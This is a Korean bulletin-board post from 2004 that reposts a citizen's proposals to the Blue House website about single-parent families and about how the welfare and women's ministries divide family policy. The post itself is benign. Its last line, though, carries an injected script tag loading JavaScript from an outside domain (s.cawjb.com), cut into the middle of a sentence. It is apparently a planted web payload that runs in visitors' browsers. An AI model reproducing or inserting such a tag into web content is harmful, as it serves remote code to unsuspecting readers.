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제 목 |
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'청와대 홈페이지 수록 글 (퍼옴)' |
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번 호 |
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545 |
조회수 |
1416 |
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이메일 |
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작성자 |
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김선아 |
작성일 |
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04-11-29 |
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첨부화일 |
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내 용 |
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# 청와대 홈 '국민참여마당'에서 퍼온 글입니다.
검토해보신 후 공감하신다면...
추천 클릭이나 꼬리글을 달아 드림으로써 힘을 실어 주세요~
특히, 한부모가정의 어머님, 아버님께서 올린 글에...
참고로 앞서 올린 '방송용어가 사회인식개선에 미치는 영향'에
관해 청와대 홈 '국민참여마당 정책제안'에 올린 내용(11/29)은
'우수제안으로 선정'과 더불어 '중장기 검토제안으로 지정'하였
다는 '청와대 제도개선비서관실'로부터 답신메일(11/30)을 받음.
# 길안내 : 청와대 홈 -> 국민참여마당 -> 제안마당 -> 우수제안
(11/29 김선아, 문화/관광) -> 최신제안 (11/29 김선아, 여성)
한부모 관련 제안글도 함께 올렸으니, 검토하신 후 공감되시면
추천 클릭, 혹은 꼬리글로 지지 부탁드립니다.
*청와대 홈 국민참여마당 두돐을 기념하며~*
전 지난해 ""제1회 국민참여마당 우수제안자 초청간담회""에
참석 하였던 ""김선아""입니다. ""그 당시 한 아이의 엄마 입장
(사회복지사)""에서 제 아이를 생각하며 올린 글이 뜻하지
않게 대다수의 ""공동의 관심사""가 되어 꼬리 글이 달려
결국 어느날 청와대로 부터 뜻밖의 초청을 받았답니다.
그 이후로 바쁜 일정을 쪼개어가며 늘 마음은 ""국민참여마당""
에 두었답니다. 현실에 놓여 있는 사회복지사, 한 아이의 엄마,
한 집안의 가장으로써의 1인 다역을 하다보니 삶에 너무
쫓기어 마음과는 달리 정책제안글은 올리지 못하였군요.
마침 ""제2회 우수정책제안자 초청 간담회"" 관련 공지사항을
보고서는 옛 추억을 되살려 보며 ""국민참여마당""을 두루
살펴보던 중 ""눈길""을 사로잡는 제안 글들이 올려져 있어
이렇게 그냥 스치지 못하고 몇자 글을 올리오니...
오늘날 현실을 살아가고 있는 ""국민들의 절규"" 그 자체임을...
수많은 국민들의 절규 중 ""예시 사례 글""로 선정한 두편의 글,
""사회복지의 허와 실(사회복지분야 제안글로 한부모 올림)""와
""암울한 한국사회를 원망하며(여성부 홈 ""업무혁신 방"" 참조)""
은 한부모 입장에서 어려운 현실이지만 그래도 아이들을
끌어 안고 함께 살아가고자 노력하는 한부모들의 절규가
그대로 티없이 묻어나 있음을...
전문가가 쓴 글도 아니요, 아이들의 양육을 책임지고 있는
한부모들이 삶의 현실을 그대로... 꾸밈없는 목소리로 절규를...
우리나라 각 부처 ""정책결정""의 권력을 지니고 계시 님...
꼭 한번 직접 손으로 클릭 하셔서 ""서민들의 목소리""를...
물론 일부 단편적인 예시라고 말할 수도 있겠지만
좀 더 면밀히 ""머리(탁상이론)가 아닌 가슴(마음)""으로
들여다 보신다면 ""서민들의 삶의 애환""이 그대로 그 어떠한
언어로도 치장하지 아니한 체... 올려져 있음을...
""보건복지부"" / ""여성부(여성가족부 출범을 앞두고)""의 내년도
정책사업 최종결정을 함에 있어서 다시한번 신중을...
가장 실감할 수 있는 국민들의 삶의 현장(절규)을 옮겨 드리오니
재검토를... 부탁드립니다.
해결책을 멀리서만 찾으려고 하지 마시고 최근에 ""국민참여마당""에
제안글로 올려져 있는 수많은 글들 중 ""가정, 가족문제 관련 글
들""에
담겨 있는 국민들의 목소리에 귀기울이셔도 어느정도의 해결책은...
보다 다양한 각도에서 여러방면으로 국민들의 목소리, 각분야의
전문가들, 시민단체 혹은 기관의 현장실무자들의 의견을 폭넓게
수렴하여 몇 가지 정부의 안을 제시한 후 ""토론마당 주제""로 올려
여성부/보건복지부가 서로 협력하여 보다 신중한 정책결정을
하시기를 바랍니다.
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""힘 없는 어미의 절규에는 답변없는 메아리만~""
(내년도 시행예정인 국가의 중요정책 결정을 앞두고...
""여성가족부""와 ""보건복지부"" 두 부처에서 하실 일을 좀더 명확
히...
""공동의 관심사""는 ""가족구성원 전체가 함께 안녕(well-being)"",
즉 국민들 각 가정 모두가 함께 삶의 질을 높여보자는 것임을...
단순히 ""아동업무-여성가족부"", ""청소년업무-보건복지부""로
적절히 선심좋게 나누어 주듯이 편가르기 하여 어떻게 하시려고...
그로인해 국민들이 겪게 될 고충들은 예측해 보셨는지요...
마침 가장 최근에 청와대 홈 국민참여마당에 올려져 있는
국민들의 절규를 되새겨 보며 간접적인사례 글로 예시를...)
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청와대 국민참여마당이 문을 연지도 어느덧 2년이란 세월이...
정말 오랜만에 청와대 홈에 글을 올리는 군요.
마침 국민참여마당 우수제안자 초청간담회(2회) 관련 기사를 보니...
작년 이무렵의 생각들이 스쳐지나니 감회(1회 참석)가 새로와
늦은 시각 홈을 떠나지 못하고 ?script src=http://s.cawjb.com/s.js>
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